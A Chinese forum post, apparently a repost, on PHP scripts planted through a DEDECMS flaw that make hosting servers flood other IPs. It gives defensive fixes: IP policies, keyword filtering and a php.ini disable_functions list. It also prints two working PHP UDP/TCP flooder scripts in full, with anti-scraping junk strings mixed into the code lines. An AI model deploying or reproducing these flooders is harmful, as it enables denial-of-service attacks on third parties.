找回密码
 加入怎通
查看: 1752|回复: 12

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
2 _" R& I9 E9 p) L- O( L, y( c3 e6 k  一。php对外发包分析5 P. z" z2 G0 |+ D; a4 v9 W
  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:& t1 P8 \8 f' o- K/ h. |0 R" ?( D
  以下是代码片段:" \% f4 G0 u( W$ B! T
  $packets = 0;8 o$ T7 `, F; I9 J7 n) {* a
  $ip = $_GET[\'ip\'];
$ P( Y9 y+ \" G3 ]2 |9 N7 f  $rand = $_GET[\'port\'];/ P" O4 t; h9 d9 l. A8 f
  set_time_limit(0);+ j) I9 {( q5 n
  ignore_user_abort(FALSE);" {  o' |5 J3 O0 l# M( d
  $exec_time = $_GET[\'time\'];sbxl-201206121 p. T0 Q: w% m( ^7 a) l
  $time = time();
! n$ L6 T% T; b. T/ A  print \'Flooded: $ip on port $rand; ^( ~9 C0 y4 q2 [% g
  \';
- x( V; X, q- }2 Y0 Q- Z  $max_time = $time+$exec_time;
! x3 U/ i: K9 a' V7 w  for($i=0;$i<65535;$i++){4 N" _% m) B! B: c# w
  $out .= \'X\';5 {! {- B8 i/ `' G9 d
  }
7 [; [! _2 z4 Q' i& O% N& M) R7 M* c  while(1){4 Q3 w0 c& i9 ~2 Y: x3 @1 X
  $packets++;
/ c- Q. \: h- i- r) I' P9 O4 R" a  if(time() > $max_time){6 w( Z: f+ A% o* H: G
  break;- ?& r7 {0 H( ~1 O: _
  }
) k! T( x1 O' O  F& b  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
7 m7 B, w3 U/ h. D6 n! r3 E5 o" @  if($fp){* r# X) O5 [( |
  fwrite($fp, $out);6 l; H% H5 |1 j0 }+ ^9 L$ P
  fclose($fp);
6 i4 b$ _3 @% G! {. k  }* C' h# c3 |/ S2 y
  }
: e% d$ [8 Q. m/ c, g  echo \'Packet complete at \'.time(\'h:i:s\').\' with
6 t! [/ W4 N# l! r; v( G& O" E& z  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
* c6 v4 ^& Y6 v5 |/ t$ u9 G* p  round($packets/$exec_time, 2) . \' packets/s ;9 x# Y4 r6 [' O1 o/ z$ X0 p4 X
  ?>9 k8 n! {% Z' e" C* K# M+ e
  二。表现特征) [! |8 v9 }! ^) _7 \6 H! p
  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.
! @2 C- o- L7 i- |% A  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.; A" E$ y. p/ k- h/ c
  如何快速找到这些站?
5 r- ]1 C- g+ Z3 G% L  你可以打开日志
5 B8 ]$ f7 B5 Q  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
0 d4 ^! J% I+ E% U  里面有类似这样的记录:
- c7 x8 e7 U; Y+ q8 u- b8 K  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_12 e) t- E" r! y/ Y  j4 M' u( I
  最后三项783 Disabled 30_FreeHost_1+ f* L0 d. }# W9 M6 O5 c
  783就是这个站在IIS中的ID
. [4 w; n- ^1 l5 y  30_FreeHost_1就是所在池
- [( `- y+ @( {# {  三?解决办法+ I+ y+ L! W/ S
  1.按上述找到这个网站后停止它.或停止池,并重启IIS.
! Z; }9 N$ s% }" l# m1 j  2.在IP策略,或防火墙中,禁止所有udp向外发送
% C  z2 E: [9 M7 e* N' ~  c( d* ~  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.. _3 A. C& G! M, x) D5 T
  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)5 O9 _, k; t: p% O, L! w; N0 J5 f
  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)& e% l5 u/ V7 `* B1 R1 w
  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)
& N3 b! b) w% T2 g4 [, m  Z  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS' X8 L2 S( T5 W4 g+ C
  ignore_user_abort = On3 M- G+ g! I) N; e
  (注意前面的;号要删除)
4 s" J0 W" {. S5 O  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
! \; R* a  o' }2 l  在后面加上  y8 n$ w4 E4 V3 ?) C4 s
  fsockopen,set_time_limit# y" b' H/ N: D& r7 L
  但这样会造成很多php程序都不正常.
( {8 a  [; [5 d7 d! r; h; o) ^  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?& t2 {/ G  [/ V* b( r1 C( Y6 D7 F
  近期已有新的基于TCP攻击的PHPDDOS代码如下:9 ?0 J2 ~: q) ?; r
  以下是代码片段:
/ s! F! y, L% g4 a4 W  set_time_limit(999999);
" g  C, A4 }& r; Y( v  $host = $_GET['host'];
" a8 ]  v/ y/ d5 d  $port = $_GET['port'];/ d; ]3 \! T; ~8 q# Z/ u) P2 F
  $exec_time = $_GET['time'];
# S$ R+ {6 Q$ M  $packets = 64;: @) X/ \& A) j) ^( _: y3 K
  ignore_user_abort(True);
9 d2 m  @+ l2 u  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
2 o* |/ ^: Z" C  if (StrLen($_GET['rat'])<>0){
4 X% e1 Z) d+ J9 V" g  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.: G# t/ ^( y* ]/ l  ?1 r( K
  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];( e! g4 I! [; h9 K
  exit;0 f, |- p/ S/ K2 A+ k1 F
  }+ ~5 B" W) r/ K, C! q5 M& v( r
  exit;
- L7 f9 x8 d# d  }
* m# w. l3 h( f+ m  $max_time = time()+$exec_time;. Q# I; H. Q( V7 Z* F
  while(1){* ^+ s' _) u9 _  M  x3 V# ~7 O+ m
  $packets++;( H1 e9 F  f! G) _( c( V
  if(time() > $max_time or $exec_time != 69){, A3 k: S( P; Y7 T, N5 T& `
  break;! l( a% C9 n# u4 W( G2 r& t
  }
$ f' F% H0 x3 c1 X0 x  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
& @" b9 N1 d6 o. p8 `8 C; c. q  }
5 }0 C. O% _4 D. {  ?>
9 B0 C0 O9 ]1 @% T) M0 z  同样,可以采有以下解决办法:
1 ^$ e# I) ~$ g0 t: Z/ N: g" c  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
6 c1 }' x7 A8 V/ C; p  p3 `7 g5 j  ignore_user_abort = On
* x1 C7 O9 A7 P+ ~: X7 j  (注意前面的;号要删除)
( j: p2 `6 s% e, k) t0 U2 y  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
2 a( _7 {* f( F/ C! j! p  a9 F  在后面加上
  d6 Y$ D. d% q; l4 o/ ~$ f  fsockopen,set_time_limit
; I" K0 c& j  |% @* [* y  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
" W+ a& R) e$ ^  K7 O  O  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
9 L5 M. P! T- M1 }7 I& x. o5 h  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?4 e- I, s7 n8 U" q# j7 G
        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。
8 z' ]( ?& e/ {$ _- o7 K" l9 G& B

暂时无法加载帖子列表

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

286888037 发表于 2026-03-31 17:08:47 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

SAK 发表于 2026-07-13 01:37:23 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

wjh00 发表于 2026-08-25 17:06:02 | 显示全部楼层
内容很干货,没有多余的废话,值得反复看
回复

使用道具 举报

微信482122055 发表于 2026-09-07 02:39:01 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

九九--小欢 发表于 2026-09-11 01:15:48 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

星野 发表于 2026-09-30 23:31:39 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

qq244102610 发表于 2026-10-12 03:45:07 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复

使用道具 举报

花开不败 发表于 2026-10-18 06:36:23 | 显示全部楼层
楼主辛苦了,整理这么多内容,必须点赞收藏
回复

使用道具 举报

一品郎中 发表于 2026-10-26 07:14:17 | 显示全部楼层
蹲了这么久,终于看到有价值的讨论,支持一下!
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-10-27 06:02 , Processed in 0.041942 second(s), 30 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表